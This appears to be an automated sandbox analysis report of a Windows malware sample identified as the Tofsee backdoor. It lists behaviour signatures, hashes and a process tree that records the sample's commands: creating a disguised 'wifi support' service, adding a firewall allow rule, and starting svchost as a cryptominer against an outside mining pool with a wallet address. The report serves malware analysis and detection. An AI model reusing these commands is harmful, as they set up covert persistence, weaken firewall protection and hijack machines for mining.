Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    13/11/2020, 15:59

General

  • Target
    533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe
  • Size 211KB
  • Sample201113-ec3mfmgapx
  • SHA256 533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe
    "C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:288
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nirhvdll\
      2⤵
        PID:1796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qkkbmvmo.exe" C:\Windows\SysWOW64\nirhvdll\
        2⤵
          PID:1244
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nirhvdll binPath= "C:\Windows\SysWOW64\nirhvdll\qkkbmvmo.exe /d\"C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1604
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description nirhvdll "wifi internet conection"
            2⤵
              PID:1600
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start nirhvdll
              2⤵
                PID:520
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1356
            • C:\Windows\SysWOW64\nirhvdll\qkkbmvmo.exe
              C:\Windows\SysWOW64\nirhvdll\qkkbmvmo.exe /d"C:\Users\Admin\AppData\Local\Temp\533d5e5caeee77956209f5be7d2ff661afb1cb5e5282dd2828b17120c8f94c24.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:856
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1004
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:604

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/288-1-0x0000000000F80000-0x0000000000F91000-memory.dmp

                  memory/288-0-0x0000000000D35000-0x0000000000D36000-memory.dmp

                  memory/604-22-0x0000000000140000-0x0000000000231000-memory.dmp

                  memory/604-21-0x0000000000140000-0x0000000000231000-memory.dmp

                  memory/856-10-0x0000000000CE5000-0x0000000000CE6000-memory.dmp

                  memory/856-11-0x0000000000DC0000-0x0000000000DD1000-memory.dmp

                  memory/1004-16-0x00000000001C0000-0x00000000001C6000-memory.dmp

                  memory/1004-12-0x0000000000090000-0x00000000000A5000-memory.dmp

                  memory/1004-15-0x0000000001CB0000-0x0000000001EBF000-memory.dmp

                  memory/1004-17-0x00000000001D0000-0x00000000001E0000-memory.dmp

                  memory/1004-18-0x0000000000260000-0x0000000000265000-memory.dmp

                  memory/1004-19-0x0000000005850000-0x0000000005C5B000-memory.dmp

                  memory/1004-20-0x0000000000270000-0x0000000000277000-memory.dmp